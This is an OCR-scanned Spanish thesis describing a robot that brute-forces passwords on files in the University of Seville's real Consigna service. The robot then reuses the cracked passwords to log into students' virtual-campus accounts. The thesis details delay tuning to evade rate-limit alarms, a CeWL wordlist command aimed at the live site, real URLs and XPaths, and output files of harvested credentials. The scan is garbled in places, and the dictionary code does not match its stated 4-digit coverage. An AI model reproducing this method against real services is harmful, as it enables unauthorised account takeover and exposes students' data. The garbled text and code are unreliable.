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Resumen

La seguridad informética ha experimentado un importante desarrollo en estos Ultimos afios debido al gran
numero de brechas que han encontrado los ciberdelincuentes para acceder a los datos privados de los usuarios
de internet con fines maliciosos.

La forma més éptima de proteger la informacidn en internet consiste en definir una contrasefia lo suficientemente
segura para evitar el acceso a las cuentas de los usuarios por parte de personas ajenas. Ademas, existen otras
précticas que ayudan a diminuir la posibilidad de ser victimas de un ataque cibernético aunque este problema
sea imposible de evitar al cien por cien.

El objetivo de este trabajo es obtener una lista con los ficheros a los que se ha podido acceder junto con su
contrasefia, un listado de los usuarios y las contrasefias que han sido obtenidas y un analisis sobre los resultados
obtenidos. Para esto, se desarrollara un robot que intentard adquirir los ficheros que se han subido a la pagina
web de Consigna, realizando un ataque de fuerza bruta con un diccionario de claves sobre sus contrasefias. Por
otro lado, se estudiara si los usuarios utilizan la misma contrasefia en Consigna y en su perfil de ensefianza virtual
con el fin de informar sobre el peligro que supone esta préactica. Por Gltimo, se expondran una serie de pautas
para mejorar la seguridad de los usuarios de la Universidad de Sevilla y asi disminuir la posibilidad de ser
victimas de un ciberataque.
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Abstract

IT security has been experimenting an important development these past years since hackers have found several
vulnerabilities in the security system to get to private data from internet users with malicious goals.

The best way to protect information in the internet consists on definining a password that is safe enough to avoid
the access from people external to users’ accounts. Moreover, it exists other practices that help reducing the
probability of being victim of some cyber attack, although this problem will never be a hundred per cent
impossible to avoid.

This document’s objective is making a list with the files that were succesfully downloaded together with the
passwords that were used for each file, making a record with the usernames and passwords that were succesful
in the cyberattack and performing an analysis with the results obtained. For that purpose, a robot will be carried
out which will try to get the files uploaded from Consigna users, doing a brute force cyber attack with a password
dictionary. Furthermore, the fact that students use the same password in different websites will also be studied
to inform about the peril of this practice. Finally, some guidelines will be given to improve University of Seville
users’ security and reduce the probability to be victims of a cyberattack.
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1 INTRODUCCION, MOTIVACION Y OBJETIVOS

1.1 Introduccion

digitalizacién de todo tipo de actividades como por ejemplo trdmites bancarios o matriculaciones
escolares. Ademas, se almacenan en internet datos privados como fotos, informacion personal, cuentas
bancarias.

EI sector tecnoldgico ha experimentado un gran crecimiento en los ultimos afios con la llegada de la

Las empresas han tenido que adaptarse ademas, a la nueva situacion causada por el COVID-19, teniendo un
gran impulso el comercio online o el pago mediante tarjeta. Asimismo, un claro ejemplo de este cambio es la
innovacion que ha tenido que soportar el Sector de la Educacion, que apresuradamente y con pocos recursos
econdmicos, ha organizado clases y exdmenes online, reuniones con alumnos mediante aplicaciones varias, etc.

Igualmente, se ha modificado la forma de establecer relaciones sociales, diariamente los usuarios se conectan a
maultiples paginas web que solicitan nuestra autenticacion como: Correo Gmail, Facebook, Twitter, LinkedIn,
Paypal, Instagram, toda vez que, todo contacto fisico por minimo que fuera, ha tenido que desaparecer o al
menos disminuir el porcentaje, y con ello se han visto desarrolladas plataformas para mantener el contacto
humano lo que ha desencadenado en un riesgo para la proteccion de nuestra privacidad, esta cuestion ahora mas
gue nunca, afecta a toda la Sociedad.

Todo esto se encuentra protegido por una contrasefia en la mayoria de los casos, por tanto, se debe prestar
especial atencion a la hora de escoger dicha combinacion. Aln asi, se siguen dando casos de robo de cuentas o
informacion privada, que luego, se utilizaran en contra del usuario propietario o se reclamara un importe
econdmico para la devolucion de dichos datos.

Cuando se habla de seguridad informética, se tiende generalmente a pensar en una cuestion técnica cuya
responsabilidad recae Unicamente en los responsables informéticos, no obstante, eso no es asi, siendo importante
adquirir los conocimientos esenciales en materia de Ciberseguridad, estableciendo una serie de pautas y medidas
que se deben tomar para disminuir la posibilidad de que se vea afectada la privacidad de los usuarios.

Este trabajo en concreto se encuentra enfocado a la Universidad de Sevilla, més especificamente, se atacaran
dos péaginas web de esta institucion, “Consigna” y “Ensefianza virtual”.

La pagina web de “Consigna”, consiste en una herramienta de la Universidad de Sevilla para que sus alumnos
puedan subir y descargar archivos, protegiéndolos con una contrasefia, con el principal fin de compartirlos con
otro usuario. Por otro lado, la pagina web de ensefianza virtual permite a los usuarios llevar un seguimiento de
las asignaturas a las cuales se encuentran matriculados ademas de interactuar con los profesores ya sea
entregando trabajos o recibiendo las calificaciones a través de esta plataforma.
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1.2 Objetivos

La Universidad de Sevilla cuenta con una serie de medidas para incentivar a los alumnos a preocuparse por la
seguridad informética. En cuanto a la contrasefia seleccionada para sus perfiles de “Ensefianza virtual”, por
ejemplo, se obliga a los alumnos a cambiar la contrasefia cada cierto tiempo, bloqueandoles el acceso a su perfil
si esta accion no se realiza. Sin embargo, todavia existen brechas de seguridad que se pueden explotar.

El objetivo principal de este trabajo es desarrollar un robot capaz de explotar las brechas de seguridad de la
Universidad de Sevilla para exponer malas practicas usadas por los estudiantes a la hora de proteger mediante
una contrasefia los datos que suben a internet.

Este robot consistird en un cédigo implementado en Python en el que se utilizardn herramientas como por
ejemplo “Selenium”, para interactuar con los elementos de las paginas web antes comentadas, “Ensefianza
virtual” y “Consigna”. Se recopilaran las urls de los ficheros subidos por los usuarios de la Universidad de
Sevilla, con el fin de encontrar la contrasefia utilizada por los mismos para almacenar informacién en la nube de
“Consigna”. Para ello, se utilizaran varios diccionarios con una gran cantidad de palabras, con esto se consigue
tener varios resultados dependiendo del diccionario utilizado y extraer conclusiones.

Entre las caracteristicas principales del robot se encuentran su funcionamiento automatico y su eficiencia. Para
conseguir un nivel dptimo de eficiencia se buscaran diccionarios de claves con un tamafio suficiente como para
obtener buenos resultados, sin que el tiempo de ejecucion sea elevado. Esto se justifica ya que no se dispone ni
de las herramientas necesarias ni del tiempo suficiente para realizar un ataque a gran escala.

Este tipo de pruebas se deberian hacer en todas las empresas e instituciones ya que hoy en dia cualquier persona
0 grupo de personas puede ser victima de un atague de ciberseguridad. Evitar estos ataques resulta casi imposible
ya que los ciberdelincuentes son capaces de analizar las vulnerabilidades de la empresa o individuo y acabar
consiguiendo un ataque exitoso. Por tanto, lo tnico que se puede hacer al respecto es concienciar y educar a los
usuarios para dificultar a los ciberdelincuentes en la medida de lo posible que consigan su objetivo.

Por consiguiente, se espera gue esta practica no se quede solo en los usuarios cuyas contrasefias sean puestas a
prueba, si no que los resultados obtenidos lleguen al resto de usuarios, con el fin de llegar al maximo nimero de
personas posible y se extrapole a cualquier cuenta personal que esté protegida con una contrasefia, es decir,
Facebook, Instagram, Linkedin, etc.



2 METODOLOGIA Y DISENO DEL SISTEMA

La maxima seguridad es tu comprension de la realidad
H. Stanley Judd

ido solventando a medida que se desarrollaba el codigo. Algunas de ellas, se descubrieron antes de

E N este proyecto, el disefio del sistema ha estado condicionado por una serie de restricciones que se han

empezar el cédigo, al realizar el andlisis de las paginas web a atacar, como por ejemplo, el hecho de que

haya que esperar un tiempo entre peticion y peticion para que no salten alarmas. Otras restricciones han surgido
al realizar las pruebas pertinentes con el robot ya finalizado.

En cuanto al modo de funcionamiento de este sistema, se comporta como una maguina, recibe unas entradas,
las procesa y realiza acciones con esas entradas para generar una salida compuesta por dos ficheros y un informe
automatico. Toda esta estructura se explicara a continuacion.

21. Metodologia

Para la realizacion de este proyecto se plantean una serie de pasos a seguir:

1.
2.

Anélisis de las paginas web a atacar para saber su funcionamiento.

Busqueda de informacion sobre las diferentes formas con las que se puede interactuar con los elementos de
una pagina web, y poder realizar un gran namero de peticiones, con el handicap que todo se realice
automaticamente.

Recopilacion de diccionarios de claves para realizar los ataques de fuerza bruta.

Desarrollo del cédigo del programa robot, que seré el encargado de acceder a las paginas web, realizar el
ataque de fuerza bruta sobre cada uno de los ficheros de Consigna y el posterior intento de inicio de sesion
en Ensefianza virtual.

Depuracion de errores del codigo del programa robot.

Pruebas de funcionamiento con el objeto de determinar el tiempo minimo, para que no salten alarmas a la
hora de realizar un gran nimero de peticiones desde una misma direccion IP.

Recopilacién de resultados con los diferentes diccionarios de claves recogidos en el paso 3.

Andlisis y comparacion de los resultados obtenidos.
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9. Conclusiones y posibles lineas de mejora.

2.2. Requisitos de diseio del sistema

2.2.1. Tiempo de espera para evitar las alarmas

Tras una serie de pruebas realizadas todas ellas con los diccionarios especificados en el apartado 2.1.4, surge un
error el cual se habia previsto en el disefio del cddigo, consistente en un periodo de tiempo gue se debe esperar
al cambiar de url de fichero, ya que salta una alarma, que no permite realizar mas peticiones desde esa IP.

self._request(command_info[0], url, body=data)

self._conn.request(method, url, boc 0 eaders=headers)
line 78, 1in request
self.request_encode_body/(
, line 178, in request_encode_bod)
yrlopen(method, url extra_kw)
line 375, in urlope
conn.urlopen(method, u.request_uri,
", line 783, in urlope
.urlopen(
", line 783, in urlope
yrlopen (
', line 783, in urlope
.urlopen(

" line 755, in urlope

etries = retries.increment(

line 574, in increment
raise MaxRetryErro L
yr1lib3.exceptions.Ma Error TTPCo 1 (host="12 ort=62241) : Max retries exceeded with url: /session/317901ac831974b5020de72:

Process finished with exit code 1

Figura 2-1. Error alarma peticiones Consigna.

Este problema se ha solucionado gracias a la realizacion de varias pruebas, se ha ido decrementando el tiempo
de espera entre peticiones http a partir de un valor inicial estimado de 2 segundos. Los resultados mostraron gque
para un tiempo de espera de 0 segundos saltaban las alarmas y por otro lado al definir un tiempo de espera de
0.1 segundos no saltaban alarmas. Por tanto, se decidi6 escoger un tiempo intermedio entre ambos valores, ya
gue aproximar al siguiente decimal no mejoraria en gran medida la rapidez del programa. Finalmente, se
determind que el tiempo éptimo de espera para que no salten alarmas y no afecte demasiado al tiempo de
ejecucion del cddigo, es de 0.05 segundos.

2.2.2. Archivos autenticados

Un requerimiento del sistema seria, que para que el ataque sea satisfactorio los usuarios deben haber subido los
ficheros a Consigna, habiéndose registrado previamente. De otro modo no se podria obtener los uvus de los
usuarios y por consiguiente, no podria efectuarse el ataque por fuerza bruta a los perfiles. Ahora bien, los ficheros
si se podrian descargar aunque no se sabria el propietario del documento.

2.2.3. Ejecucion automatica

El objetivo principal de este trabajo es realizar un robot automatico que fuera capaz de obtener las contrasefias
de los usuarios de la Universidad de Sevilla, sin necesidad de interaccion por parte de un humano, simplemente
habria que obtener los resultados generados por el robot.

2.2.4. Diccionario de claves

Esencial para el desarrollo del ataque, seria el disponer de un buen diccionario de claves, que fuera personalizado
con el objeto de conseguir el mayor numero de contrasefias posibles. Se han utilizado varios diccionarios de
claves, obtenidos mediante 4 métodos diferentes, para comparar los resultados obtenidos entre los diferentes
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diccionarios:
1. Diccionario descargado de internet en inglés.
2. Diccionario numerico.
3. Diccionario generado mediante la herramienta CeWL de Kali-Linux.
4. Diccionario creado manualmente.

Se han realizado pruebas con cada uno de ellos y se incluira en el apartado de conclusiones una comparacion
del éxito de cada uno de ellos a la hora de realizar el atagque.

2.2.5. Tamaino de los ficheros.

Tras el analisis de una de las pruebas realizadas, se obtiene el error consistente en un problema derivado del
tamafio de los ficheros comprometidos. Una primera forma utilizada para detectar una contrasefia correcta fue
alojar el fichero descargado en un directorio creado denominado “FICHEROS”. A continuacion, se borraria el
fichero alojado en dicha ubicacion con el objetivo de verificar con cada contrasefia introducida si este directorio
se encontraba vacio o no. Si no se encontraba vacio se habria encontrado la contrasefia correcta para el fichero
en cuestion. Pero esto generd un error, si el fichero se habia descargado completamente no habria problema. Sin
embargo, si el fichero seguia descargandose por tener un tamafio mayor saltaba un error indicando que la
operacion de borrado del fichero no era posible ya que estaba siendo utilizado por otro proceso.

Para solventar este error, se han barajado varias opciones. En primer lugar, se pensé en determinar un tiempo
fijo predeterminado de espera para eliminar el fichero una vez que se hubiera descargado independientemente
del tamafio del fichero, pero esta solucion era poco viable, ya que si el tiempo de descarga era menor que dicho
tiempo de espera se estaria aumentando el tiempo de ejecucion innecesariamente y si éste era mayor seguia
saltando el mismo error. También se barajo la opcion de eliminar el proceso de descarga, pero el método para
ello requeria aportar un link de descarga para crear un objeto de la clase Downloader?, el cual no se tenia ya que
la descarga se realiza automaticamente al introducir la contrasefia.

Por Gltimo, se optd por almacenar todos los ficheros que se hubieran conseguido descargar e ir incrementando
una variable contador “contador_ficheros” que se almacena en un fichero en formato JSON?, para recoger su
valor posteriormente y detectar asi que se ha encontrado la contrasefia correcta. Una vez que se introduce una
contrasefia si el contador de ficheros ha aumentado en una unidad significa que hemos encontrado la contrasefia
de descarga del fichero y por tanto, se puede pasar a estudiar el siguiente fichero de Ia lista.

2.3. Descripcion del sistema
Para describir el disefio realizado para el desarrollo del robot se presenta un diagrama de flujo en el Anexo A.

2.3.1 Entradas

Como entrada al sistema se debe tener un diccionario de claves, los uvus de los usuarios, las urls de los ficheros
y las urls de las pagina de “Consigna” y “Ensefianza virtural”.

La interfaz de “Consigna” muestra los ficheros subidos por los usuarios, por orden decreciente en cuanto a la
fecha de subida. La web, se puede observar en la siguiente figura:

1 Clase de Python que se utiliza para administrar el proceso de descarga de un fichero facilitindole un link de descarga.
2 Formato de datos que permite mediante un lenguaje leible por un humano almacenar y transmitir objetos compuestos de pares de valores
y tablas.
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u'p Consigna @ %

ENVIO Y RECOGIDADE FICHEROS wn e

Congicio

Para tener acceso a todos los ficheros, ademas de poder configurar y controlar sus envios es necesario que se identifique utilizando (a opcion Autenticacion

Listado de ficheros

0. Buscar

Nombre del fichero Tamario Fecha de envio
ﬁ T00_intro(1).pdf 29MB 22 de septiembre de 2021, 17:08h
- | r
ﬂ Tema 2. Estudios de Preformulacion.pptx 10,56 MB 22 de septiembre de 2021, 17:07h
J schedule.zip 145,77 kB 22 de septiembre de 2021, 16:34h
- " A A
d 00-PresentacionPrimerDia, pptx 34,02 MB 22 de septiembre de 2021, 16:16h
- "
[ | Tema 1-Biotecnologia Farmaceutica 2021_2022.ppt 12,8 MB 22 de septiembre de 2021, 16:15h
=
= Tema 2- Biotecnoloaia Farmaceutica-1.nntx 13.25 MR 22 de sentiembre de 2021. 16:15h

Figura 2-2. Pagina web de Consigna.

Hay dos formas de subir archivos, autenticandose previamente, o no. En ambos casos aparecera una pagina web
con el contenido mostrado en la siguiente figura. En el caso de haberse autenticado en la casilla de “Nombre del
alumno” aparecera el nombre del usuario que suba el fichero. Por otro lado, si el usuario no se ha autenticado,
aparecera “Desconocido” o “Andénimo” en dicho texto. Tanto en una como en otra opcion, aparecera
informacion util como la url del fichero, la fecha en la que fue subido, el nombre del fichero, el tamafio del
mismo o la descripcion que haya afiadido el usuario propietario del fichero. Ademas, a la hora de subir un fichero
se puede determinar el tiempo que se va a encontrar ese fichero subido en “Consigna”, pudiendo elegir entre una
hora, un dia, una semana o dos semanas.
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]"lt/gf Consigna 9 G ¥

a;uda nuevo autenticacion

ENVIO Y RECOGIDADE FICHEROS askecas L3

| Nombre del fichero |

4,03 MB

Fichero limpio de virus

Contrasefia:

I

9 https://consigna.us.es/581091

18:23h (caduca en 1sem 6d 22h)

() 21 de septiembre de 2021

2 [Nombre del alumno

& Descripcion:

Figura 2-3. P4gina web de Consigna ojeando un fichero.

Por otro lado, la pagina web de “Ensefianza virtual”, es una aplicacion web que permite a los estudiantes de la
Universidad de Sevilla, llevar un seguimiento de las asignaturas de las cuales se han matriculado, actualizadas
por los profesores correspondientes. Dada la situacién de este afio del virus Covid-19, las clases se han tenido
que impartir de manera online y todo se ha hecho mediante esta aplicacion. Ademas, se trata de la aplicacion
perfecta para la directa comunicacion entre los profesores y los alumnos del centro, brindando asi un gran
namero de funcionalidades como inscripcion de los alumnos en grupos de practicas, difusién de informacion
importante para el colectivo de alumnos, o la puesta en comln de las calificaciones obtenidas en las
convocatorias correspondientes. En definitiva, se trata de una herramienta crucial para facilitar el progreso del
alumno en sus estudios universitarios y supondria un gran peligro que todo esto cayera en las manos
equivocadas, de ahi el valor de una contrasefia segura. La interfaz principal de la web, seria la mostrada en la
siguiente figura:
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ENSENANZA VIRTUAL

9
()
0
m
<
~
)
A

&

Contactar Inicie la sesion aqui My Media

Para cualquier duda o consulta sobre el uso de la plataforma My Media

de Ensefianza Virtual, puede contactar con el Servicio de o Cambiarel lamano de texo| | Prvecxiad y

Ensefianza Virtual, a traves de la direccion: httpsy/s0s.us.es © Configuracén de contraste ato E‘ng‘””“ w
Mis anuncios

Nave ga dores Com p atibles No se han publicado anuncios de institucidn en los iltimos 7
dias.

A través del siguiente enlace podrds comprobar los mas anuncios...

Navegadores compatibles/certificados con la version actual
de la plataforma de Ensefianza Virtual

Acceso a aplicaciones Web de
la US (EV, SEVILS, ...

Se han detectado problemas de acceso a ciertas aplicaciones

[ININV/EDCINAD e s e

Figura 2-4. Pagina web de Ensefianza virtual.

Al pinchar sobre la imagen que aparece en el medio de la pantalla, se pasara a la interfaz que muestra el
formulario para iniciar sesion:

B UNIVERSIDAD
DSEVILLA
1505

Identificacion de usuario

Autenticacion centralizada

Introduzca su UVUS o su correo de la US OTROS MEDIOS DE AUTENTICACION

UVUS/CORREO

Certificado

CONTRASENA ] dosat

Quiero recuperar mi contrasena

Use su DNI-e a través de la opcidn Certificado digital.
Una vez que se haya autenticado no sera necesario identificarse de nuevo para acceder a otros recursos.

Para desconectarse, recomendamos que cierre su navegador (cerrando todas las ventanas).

Figura 2-5. Inicio de sesion en Ensefianza virtual.
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La forma de atacarla sera mediante un ataque de fuerza bruta, consistente en introducir un gran nimero de
posibles contrasefias recogidas en un diccionario de claves, hasta dar con la combinacion correcta.

2.3.2 Salidas

En cuanto a las salidas del sistema, se generaran dos ficheros, denominados con los nombres “credenciales.txt”
y “claves.txt”.

En el fichero “credenciales.txt”, se alojaran los uvus y las contrasefias utilizadas para descargar los ficheros de
los usuarios.

En el fichero “claves.txt”, se detallaran los nombres de los ficheros descargados y las claves utilizadas para ello.

En ultimo caso, se generard un informe con los resultados obtenidos teniendo en cuenta el nimero de usuarios
analizados, las urls accesibles y los usuarios cuyos uvus se ha podido obtener, determindndose los porcentajes

de éxito del ataque.



3 IMPLEMENTACION DEL SISTEMA

Xpath.json, contador_ficheros.json, contadores.json, ficheros_anonimos_obtenidos.json,

id_last_url_logged.json. En cuanto a laimplementacion del codigo que se encuentra en el fichero main.py,
la dificultad principal de este trabajo estaba en acceder a las paginas web tanto de “Consigna” como de
“Ensefianza virtual” e interactuar con los elementos de la misma para enviar informacion al servidor. Se ha
desarrollado de dos formas diferentes:

EI sistema se encuentra dividido en distintos ficheros: main.py, diccionario.txt, claves.txt, rutas.json,

1. Para obtener el usuario de la url del fichero a estudiar, se realiza una peticion http GET®.

2. Para obtener las urls permitidas tanto sin iniciar sesiéon como habiendo iniciado sesion e intentar
descargar el fichero introduciendo las contrasefias del diccionario de claves y acceder posteriormente a
la pagina de ensefianza virtual, en el caso de que encuentre la contrasefia del fichero, se ha usado
Selenium que es un proyecto que posee una amplia cantidad de herramientas y librerias que permiten
la automatizacion de navegadores web con el objetivo de realizar tests.

3.1 Selenium

Como se ha comentado, Selenium es una herramienta de testeo que permite realizar las mismas interacciones
que haria un usuario cualquiera con los elementos de la pagina web a probar. Se ha escogido esta herramienta,
al ser la mas completa y compatible con Python*. Ademas, otras herramientas de testeo tienen un codigo fijo y
lo Gnico que permiten es introducir la url de la pagina web que se desea testear y luego seleccionar la serie de
acciones que se quieren realizar.

Para utilizar Selenium, Unica y exclusivamente se ha de instalar la herramienta en el equipo en el que se vaya a
implementar el codigo y posteriormente se ha incorporado en Python. Una vez realizado esto, se ha importado
la biblioteca® de Selenium, y se han utilizado las funciones que se han estimado adecuadas para conseguir el
objetivo del atague de fuerza fruta.

El corazon de Selenium es el WebDriver, que es una interfaz que permite ejecutar ciertas acciones y funciones
sobre una gran variedad de navegadores como Explorer, Mozilla Firefox, Google Chrome o Safari. En el

33 Se utiliza para obtener datos de una URL en concreto.
4 Lenguaje de programacion.
5 Archivo o conjunto de archivos que sirven para facilitar la labor del programador, incluyendo funciones que se pueden incluir en el cédigo.

11
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presente trabajo se ha utilizado Google Chrome, al resultar el navegador mas rapido para realizar este tipo de
tareas, es decir, realizar el maximo nimero de peticiones en el menor tiempo posible.

De igual modo, Selenium también soporta diferentes lenguajes de programacién como Java, Python, CSharp,
Ruby, JavaScript o Kotlin. Se ha utilizado Python, por la calidad de su sintaxis y la cantidad de bibliotecas que
se pueden incluir en el cddigo, para ampliar sus funcionalidades.

En cuanto al funcionamiento de WebDriver, éste se comunica con el navegador a través del driver. Esta
comunicacion es bidireccional, es decir, el WebDriver envia las érdenes al navegador pasandolas antes por el
driver y las respuestas del navegador pasan por el driver antes de llegar al WebDriver.

HOST SYSTEM

WebDriver
Bindings
+ Support classes

Figura 3-1. Comunicacion directa. (https://programmer.ink/think/selenium-webdriver-introduction-webdriver-
controlling-browser.html)

La imagen anterior muestra como se realiza una comunicacién directa con el navegador. Pero se puede dar
también una comunicacion remota entre el WebDriver y el navegador a través de Selenium Server o
RemoteWebDriver.

En el caso de RemoteWebDriver, éste se encuentra en el mismo sistema que el navegador y el driver:
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WebDriver

Bindings
+ Support classes

Figura 3-2. Comunicacion remota Remote WebDriver. (https://programmer.ink/think/selenium-webdriver-
introduction-webdriver-controlling-browser.html)

Por otro lado Selenium Server se encuentra fuera del sistema:

WebDriver
Bindings

+ Support classes

Figura 3-3. Comunicacion remota Selenium Server. (https://programmer.ink/think/selenium-webdriver-
introduction-webdriver-controlling-browser.html)

En el presente trabajo, se ha utilizado la comunicacion directa ya que no se ha necesitado apoyo de ningln
servidor externo porgue no era necesario para los comandos que se iban a utilizar.

3.2 Estructura de ficheros.

3.21 Diccionario.txt

En este fichero se almacena la lista de contrasefias que se van a utilizar para intentar encontrar la contrasefia que
han utilizado los usuarios, es decir, un diccionario de claves. Se han utilizado diferentes diccionarios de claves
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para estudiar el éxito de cada uno de ellos y poder comparar los resultados obtenidos, ademas de tener asi mas
posibilidades de encontrar contrasefias. Entre los diccionarios utilizados se encuentran:

1. Diccionario generado mediante CeWL: CeWL es una herramienta escrita en Ruby® por Robin Wood
de DigiNinja.org. Hay varias herramientas para generar diccionarios de claves como Crunch, Cupp,
Pydictor... pero lo que diferencia a CeWL del resto de herramientas es que genera el diccionario de
claves a partir de una url dada, el diccionario que se obtiene como salida es un diccionario especifico
que se ha formado obteniendo informacion de la url dada. Se han realizado pruebas con diccionarios
generados con Crunch y Pydictor pero los resultados han sido pésimos en comparacion con el obtenido
mediante CeWL.

Ademas, CeWL se encuentra preinstalada en Kali Linux’, por tanto, se ha descargado la imagen 1ISO
de Kali Linux y se ha instalado en la herramienta para trabajar con maquinas virtuales VMware.

En cuanto al funcionamiento de CeWL, se han utilizado una serie de parametros para modificar el
diccionario de salida y asi establecer las condiciones necesarias para conseguir el objetivo de este
trabajo.

Applications ¥ Places ¥ Terminal v Sun 09:38

B
A

mount-shared- restart-vm-
olders tools

s _ root@kali: ~

Zionario File Edit View Search Terminal Help
. cewl -m 4 -a -e -v -w /home/hack/Escritorio/diccionario/diccionariol
.txt https://consigna.us.es

Figura 3-4. Visualizacion del comando utilizado en Kali Linux.

En cuanto al comando utilizado en la imagen anterior los parametros de las opciones escogidos han
sido:

e -m: Tamafio de cada palabra del diccionario.
e -a: Incluye metadatos®.

e -e: Incluye correos encontrados.

¢ Lenguaje de programacion
7 Distribucién GNU/Linux basada en Debian
8 “Datos acerca de los datos” sirven para suministrar informacion sobre los datos producidos.
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e -v: Utiliza el modo Verbose®.
e -w: Escribe la salida del CeWL en un archivo.

Diccionario descargado de internet en inglés: Se ha descargado un fichero de internet con 500
contrasefias que se sacaron a la luz tras el ataque realizado a los servidores de sitios tan famosos como
MySpace o Facebook.

Diccionario numérico: Se ha creado un diccionario numérico con todas las combinaciones numéricas
posibles con 4 nimeros. Se ha escogido este nimero de caracteres ya que se habian realizado pruebas
con el resto de diccionarios y la mayoria de las contrasefias vulneradas no superaban los 5 caracteres.
Este diccionario se ha creado desarrollando un pequefio programa en Python, cuyo c6digo es:

import 0s

RUTA _PADRE = os.getcwd()
RUTA FICHERO = RUTA PADRE + '/diccionario_numerico.txt'
lista =]

for i in range(5):
for j in range(5):
for k in range(5):
for m in range(5):
lista.append(str(i) + str(j) + str(k) + str(m))

with open(RUTA_FICHERO, W) as f:
for linea in lista:

f.write(linea + "\n")

Figura 3-5. Visualizacion fichero para crear diccionario numérico.

Diccionario creado manualmente: Ademas se ha creado un diccionario manualmente teniendo en
cuenta el conjunto de usuarios que iban a ser posibles victimas del ataque realizado, en este caso,
estudiantes de universidad jévenes. Se han incluido contrasefias y combinaciones relacionadas con los
hobbies, actividades, gustos o practicas comunes entre ellos.

3.2.2 Rutas.json

Este fichero es un fichero JSON que contiene las url a las que se va a acceder, en este caso, la de “Ensefianza
virtual” y la de “Consigna” para poder utilizarlas de manera mas comoda en el cddigo y en el caso de tener que
modificar algo que sea lo mas facil posible.

{

"url_consigna_1": "http://consigna.us.es",

"url_consigna_2": "https://consigna.us.es/ficheros/index/fechaenvio/desc/100",

9 Muestra mas informacion a la salida.
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"url_perfil_ev": "https://ev.us.es/webapps/portal/execute/tabs/tabAction?tab_tab_group_id= 29 1"
}

Figura 3-6. Visualizacion del fichero rutas.json.

3.2.3 Xpath.json

Fichero JSON que contiene los xpath de algunos elementos de las paginas web con el objetivo de que la
interaccion con estos elementos sea mas facil y como se ha comentado con las rutas en caso de tener que
modificar algo se tendria que modificar solo este fichero, asi también se puede tener un cddigo mucho méas
limpio.

{
"id_contenido_usuario": "//*[@id=\"contenido\"]/div[3]/ul/li[3]/span",
"id_input_password_click": "//*[@id=\"cuadro_password_fichero\"]/input[2]",
"id_imagen_login_consigna": "//*[@id=\"menu\"])/ul/li[3]/div/a/img"

}

Figura 3-7. Visualizacion del fichero xpath.json.

3.24 Contador_anonimos.json

En este fichero se almacena el nimero de ficheros que se han subido a “Consigna” sin haber iniciado sesion
previamente y por tanto no aparece el nombre de usuario en la informacion del fichero. Debido a esto, son el
tipo de ficheros que no pueden ser victimas de la segunda parte del trabajo en la que se intenta acceder al perfil
de “Ensefianza virtual” ya que no se puede obtener el uvus del usuario. Al iniciar una nueva ejecucion con un
diccionario diferente este valor debe fijarse a cero inicialmente.

{"contador_anonimo": 0}

Figura 3-8. Visualizacion del fichero contadores.json.

3.2.5 Ficheros_anonimos_obtenidos.json

Este fichero almacena el valor del nimero de ficheros cuyo nombre de usuario sea “Desconocido” o “Anénimo”
Yy que por tanto no pueden ser atacados con la segunda parte del estudio correspondiente a intentar acceder a los
perfiles de “Ensefianza virtual”. Al igual que el fichero anterior este valor ha de ser O al comenzar la ejecucion
del programa para diccionarios diferentes.

{"ficheros_anonimos_obtenidos": 0}

Figura 3-9. Visualizacion del fichero ficheros_anonimos_obtenidos.json.

3.2.6 Id_last_url_logged.json

Fichero que se ha tenido que crear tras realizar las pruebas pertinentes con el primero de los diccionarios. Las
ejecuciones de este tipo de programas duran varios dias y para poder pausar la ejecucion y continuarla al dia
siguiente u otro dia, se cred este fichero para que almacenara el nimero de elemento dentro de la lista de ficheros
obtenida para que al ejecutar el programa de nuevo se empezara a partir de dicho elemento. Ademas de posibilitar
pausar la ejecucion si fuera necesario, sirvié para solventar un error que surgié en ejecucion. Los ficheros tienen
una fecha de caducidad y se ha dado el caso de que se intenta acceder a una url la cual ya no existe porque el
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tiempo de vida del fichero ha expirado y por tanto el programa se para alertando de un error. Mediante este
fichero y el codigo correspondiente de acceder al mismo para interactuar con el valor almacenado se consigue
mitigar este error. Al cambiar de diccionario este valor ha de ser 0 para que se empiece a recorrer la lista de
ficheros desde el primero obtenido.

{"id_last_url_logged": 0}

Figura 3-10. Visualizacion del fichero id_last_url_logged.json.

3.2.7 Contador_ficheros.json

Fichero utilizado para almacenar el valor del nimero de ficheros descargados con éxito y se encuentran ubicados
en la carpeta “FICHEROS”. Este valor se utiliza en el programa para verificar que se ha encontrado una
contrasefia correcta y por tanto se ha descargado el fichero, se explicara detalladamente mas adelante.

{"contador_ficheros": 23}

Figura 3-11. Visualizacidn del fichero contador_ficheros.json.

3.28 Claves.txt

En este fichero se van a almacenar los nombres de los ficheros que se hayan podido descargar de la pagina de
Consigna junto con la contrasefia utilizada para ello.

3.29 Main.py

En este fichero se encuentra el cédigo principal del programa, es donde se accede a las paginas web y donde se
interacciona con sus elementos con tal de conseguir los objetivos antes mencionados en esta memoria.

En primer lugar entre los import que se han utilizado se encuentran:

3.2.10 Imports

1. Import os: Médulo que permite usar funcionalidades que dependen del sistema operativo. Se utiliza
para acceder a los ficheros del sistema y escribir las salidas correspondientes en cada uno. Ademas, se
usa para verificar que la clave utilizada a la hora de descargar el fichero es correcta, toda vez que se
almacena el fichero descargado en una carpeta creada, si el fichero a descargar se encuentra en esa
carpeta significa que la clave utilizada en esa Ultima peticion es la contrasefia correcta.

2. Import json: Se ha utilizado para crear variables en formato JSON en otros ficheros como se ha
comentado anteriormente “xpath.json” y “rutas.json”.

3. Import logging: Se ha usado para depurar el codigo y poder solucionar de manera mas rapida los
errores que han ido surgiendo a medida que se ejecutaba el codigo.

4. Import grequests: Biblioteca que se usa para realizar la multipeticion y asi obtener los url permitidos
de la pagina web de Consigna sin haber iniciado sesion.

5. Import requests: Biblioteca para realizar peticiones http a un servidor recibiendo como parametro la
url de la pagina. Se emplea para hacer peticiénes GET y obtener asi el usuario del mismo.

10 Formato de texto sencillo para el intercambio de datos.
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6.

10.

11.

Import time: EI médulo time de la biblioteca estandar de Python permite realizar ciertas acciones para
trabajar con fechas u horas. En este caso se utiliza para tener un tiempo de espera entre peticion y
peticién, con tal de que no salten alertas al estar introduciendo varios valores de claves, para distintos
usuarios y para esperar un tiempo a que el fichero en el caso de que se haya encontrado la clave, se
descargue, para buscar dicho fichero en el equipo y verificar de esta forma que se ha encontrado la clave
correcta.

From bs4 import BeautifulSoup: Biblioteca de Python para realizer web scraping, es decir, para
extraer informacion de una pagina web. En el codigo se usa para obtener el codigo html de la pagina
web y asi poder acceder a sus elementos.

From selenium import webdriver: Interfaz de selenium que contiene las funciones necesarias para
crear el objeto webdriver y poder interactuar con la pagina web de consigna y de ensefianza virtual.

